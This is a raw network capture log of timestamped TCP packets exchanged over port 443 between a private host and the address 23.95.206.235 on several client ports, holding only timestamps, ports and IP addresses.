Jan 14, 2025 15:56:19.107558012 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.107575893 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.107604980 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.119535923 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.119561911 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.119796038 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.119815111 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.119868994 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.120460987 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.120486975 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.120533943 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.120541096 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.120575905 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.120596886 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.186685085 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.186736107 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.186788082 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.186800957 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.186842918 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.187551975 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.187571049 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.187638044 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.187644005 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.187695026 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.188442945 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.188457966 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.188524008 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.188532114 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.188581944 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.189378023 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.189393044 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.189450026 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.189455986 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.189548016 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.191210985 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.191226006 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.191294909 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.191304922 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.191350937 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.207811117 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.207843065 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.207945108 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.207952023 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.208026886 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.208120108 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.208137989 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.208192110 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.208197117 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.208241940 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.208683014 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.208699942 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.208739042 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.208744049 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.208772898 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.208801985 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.275288105 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.275341034 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.275388956 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.275399923 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.275444984 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.275929928 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.275957108 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.275988102 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.275993109 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.276020050 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.276036024 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.276374102 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.276397943 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.276432037 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.276436090 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.276463032 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.276479959 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.276645899 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.276664019 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.276704073 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.276707888 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.276734114 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.276753902 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.280205965 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.280236959 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.280297041 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.280316114 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.280344963 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.280369043 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.296411991 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.296438932 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.296540022 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.296546936 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.296591043 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.296646118 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.296660900 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.296713114 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.296717882 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.296757936 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.296993971 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.297010899 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.297066927 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.297072887 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.297112942 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.363939047 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.363965034 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.364109993 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.364131927 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.364144087 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.364161968 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.364192963 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.364211082 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.364231110 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.364249945 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.364701033 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.364717007 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.364762068 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.364765882 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.364770889 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.364788055 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.364801884 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.364847898 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.364856958 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.364892960 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.365300894 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.365314960 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.365370035 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.365376949 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.365410089 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.384737968 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.384757042 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.384828091 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.384835958 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.384871006 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.385119915 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.385135889 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.385181904 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.385186911 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.385221958 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.385392904 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.385407925 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.385446072 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.385452032 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.385478973 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.453039885 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.453075886 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.453165054 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.453172922 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.453196049 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.453229904 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.453267097 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.453270912 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.453280926 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.453303099 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.453315973 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.453326941 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.453349113 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.453450918 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.453466892 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.453500986 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.453507900 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.453535080 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.453963041 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.453978062 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.454071045 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.454075098 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.454122066 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.455761909 CET	49984	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.455780029 CET	443	49984	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.490142107 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.490183115 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.490250111 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.490923882 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.490935087 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.492008924 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.492033005 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.492103100 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.492290974 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.492305994 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.522197008 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.523334026 CET	49993	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.523341894 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.523751974 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.524203062 CET	49993	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.524280071 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.524415016 CET	49993	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.524446011 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.741789103 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.794223070 CET	49993	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.794234991 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.832448959 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.832461119 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.832484961 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.832492113 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.832494974 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.832545042 CET	49993	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.832557917 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.832597017 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.832654953 CET	49993	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.832654953 CET	49993	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:19.965698957 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:19.974338055 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.018490076 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.020473957 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.098352909 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.098372936 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.098969936 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.122673035 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.122869015 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.123001099 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.123008966 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.123610973 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.124051094 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.124085903 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.133725882 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.133877993 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.134457111 CET	49997	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.134489059 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.144905090 CET	49993	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.144922018 CET	443	49993	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.264918089 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.264946938 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.264955997 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.264974117 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.264981985 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.264988899 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.265014887 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.265037060 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.265065908 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.265093088 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.338219881 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.338242054 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.338289022 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.338304043 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.338352919 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.338360071 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.423295021 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.423325062 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.423409939 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.423420906 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.423460007 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.424302101 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.424319029 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.424374104 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.424381971 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.424427032 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.425843954 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.425858974 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.425911903 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.425920963 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.425964117 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.426954985 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.426971912 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.427033901 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.427042961 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.427084923 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.510292053 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.510315895 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.510440111 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.510516882 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.510595083 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.511104107 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.511126995 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.511173010 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.511188984 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.511220932 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.511240005 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.511946917 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.511965990 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.512039900 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.512056112 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.512109041 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.512836933 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.512861013 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.512909889 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.512917042 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.512952089 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.512972116 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.513811111 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.513827085 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.513886929 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.513895035 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.513936043 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.514842033 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.514858961 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.514914989 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.514923096 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.514967918 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.525352001 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.525372028 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.525432110 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.525441885 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.525484085 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.596957922 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.596990108 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.597110987 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.597138882 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.597188950 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.597615957 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.597645044 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.597678900 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.597686052 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.597714901 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.597733974 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.598125935 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.598150015 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.598187923 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.598193884 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.598222017 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.598243952 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.598577976 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.598611116 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.598638058 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.598644018 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.598668098 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.598689079 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.600684881 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.600708961 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.600745916 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.600752115 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.600779057 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.600796938 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.600941896 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.600961924 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.600997925 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.601005077 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.601032019 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.601058960 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.601284027 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.601306915 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.601341009 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.601346016 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.601372004 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.601391077 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.612112045 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.612138987 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.612190962 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.612211943 CET	443	49998	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.612241030 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.612265110 CET	49998	443	192.168.2.6	23.95.206.235
Jan 14, 2025 15:56:20.680653095 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.680676937 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.680718899 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.680730104 CET	443	49997	23.95.206.235	192.168.2.6
Jan 14, 2025 15:56:20.680740118 CET	49997	443	192.168.2.6	23.95.206.235
